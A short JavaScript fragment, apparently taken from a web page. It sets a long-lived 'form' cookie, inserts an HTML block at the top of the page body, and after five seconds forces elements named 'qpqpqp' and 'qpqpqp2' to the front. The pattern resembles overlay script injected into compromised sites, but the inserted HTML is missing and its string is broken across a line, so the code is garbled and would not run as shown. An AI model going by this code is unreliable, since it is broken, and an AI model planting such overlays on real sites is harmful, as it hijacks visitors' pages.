function getCookie(name) { let matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, '\\$1') + "=([^;]*)" )); return matches ? decodeURIComponent(matches[1]) : undefined; } if(document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', afterLoaded); } else { afterLoaded(); } function afterLoaded(){ if(getCookie('form') != 1){ if(!document.getElementsByClassName('qpqpqp')[0]){ document.cookie = "form=1; max-age=3000000;"; document.cookie = "form=1; max-age=3000000; SameSite=None; Secure"; parent = document.getElementsByTagName('body')[0]; var repl = '
'; parent.insertAdjacentHTML('afterBegin', repl); setTimeout(function(){ document.getElementsByClassName('qpqpqp')[0].style.zIndex=99999; document.getElementsByClassName('qpqpqp2')[0].style.zIndex=99999; }, 5000); } } }